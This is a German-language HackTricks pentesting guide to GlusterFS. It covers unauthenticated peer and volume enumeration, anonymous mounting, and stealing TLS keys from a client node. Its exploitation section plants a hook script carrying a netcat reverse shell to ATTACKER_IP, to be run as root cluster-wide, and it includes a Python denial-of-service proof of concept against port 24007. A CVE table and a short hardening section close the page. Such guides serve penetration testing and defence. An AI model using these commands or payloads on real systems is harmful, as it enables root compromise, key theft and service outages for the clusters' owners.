24007-24008-24009-49152 - Pentesting GlusterFS
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
GlusterFS ist ein verteiltes Dateisystem, das Speicher von mehreren Servern in einem einheitlichen Namensraum kombiniert. Der Verwaltungsdaemon (glusterd
) hört standardmäßig auf 24007/TCP und weist Datenebene-Bricks an, die bei 49152/TCP beginnen (ein Port pro Brick, inkrementierend). Versionen vor 9.x verwendeten 24008–24009/TCP für den Brick-Transport, sodass Sie diese Ports in Legacy-Clustern weiterhin antreffen werden.
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
Tipp: 24007 beantwortet RPC-Anfragen, selbst wenn die nur Speicher bereitstellenden Knoten keinen Volume exportieren; daher ist der Dienst ein zuverlässiges Pivot-Ziel in großen Infrastrukturen.
Aufzählung
Installieren Sie die Client-Dienstprogramme auf Ihrem Angreifer-Computer:
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
- Peer-Entdeckung & Gesundheit
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
- Volume-Rekognoszierung
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
- Mount ohne Berechtigungen
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
Wenn das Einhängen fehlschlägt, überprüfen Sie /var/log/glusterfs/<vol_name>-<uid>.log
auf der Client-Seite. Häufige Probleme sind:
- TLS-Durchsetzung (
option transport.socket.ssl on
) - Adressbasierte Zugriffskontrolle (
option auth.allow <cidr>
)
Zertifikat-Fehlerbehebung
Stehlen Sie die folgenden Dateien von einem autorisierten Client-Knoten und platzieren Sie sie in /etc/ssl/
(oder dem im Fehlerprotokoll angegebenen Verzeichnis):
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
Bekannte Schwachstellen (2022-2025)
CVE | Betroffene Versionen | Auswirkungen | Anmerkungen |
---|---|---|---|
CVE-2022-48340 | 10.0–10.4, 11.0 | Use-after-free in dht_setxattr_mds_cbk , erreichbar über das Netzwerk | Remote DoS und wahrscheinliches RCE. Behebt in 10.4.1 / 11.1. |
CVE-2023-26253 | < 11.0 | Out-of-bounds-Lesevorgang im FUSE-Benachrichtigungs-Handler | Remote-Absturz durch manipulierte FS-Operationen; öffentliches PoC verfügbar. |
CVE-2023-3775 | < 10.5 / 11.1 | Falsche Berechtigungsvalidierung beim Mounten von gluster_shared_storage | Ermöglicht es jedem nicht authentifizierten Client, das Admin-Volume zu mounten – führt zu priv-esc, wie unten erklärt. |
Überprüfen Sie immer
gluster --version
auf jedem Knoten; heterogene Cluster sind nach teilweisen Upgrades häufig.
Ausnutzen von gluster_shared_storage
(Privilegieneskalation)
Selbst in neueren Versionen lassen viele Administratoren das spezielle gluster_shared_storage
-Volume weltweit lesbar, da es die Geo-Replikation vereinfacht. Das Volume enthält Cronjob-Vorlagen, die mit root auf jedem Knoten ausgeführt werden.
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
Wenn hooks/1/
nicht vorhanden ist, suchen Sie nach /ss_bricks/
– der genaue Pfad kann je nach Hauptversion variieren.
Denial-of-Service PoC (CVE-2023-26253)
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
Das Ausführen des Skripts stürzt glusterfsd
< 11.0 ab.
Härtung & Erkennung
- Upgrade – die aktuelle LTS ist 11.1 (Juli 2025). Alle oben genannten CVEs sind behoben.
- Aktivieren Sie TLS für jeden Brick:
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
- Beschränken Sie Clients mit CIDR-Listen:
gluster volume set <vol> auth.allow 10.0.0.0/24
- Exponieren Sie den Verwaltungsport 24007 nur in einem privaten VLAN oder über SSH-Tunnel.
- Überwachen Sie die Protokolle:
tail -f /var/log/glusterfs/glusterd.log
und konfigurieren Sie die audit-log-Funktion (volume set <vol> features.audit-log on
).
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.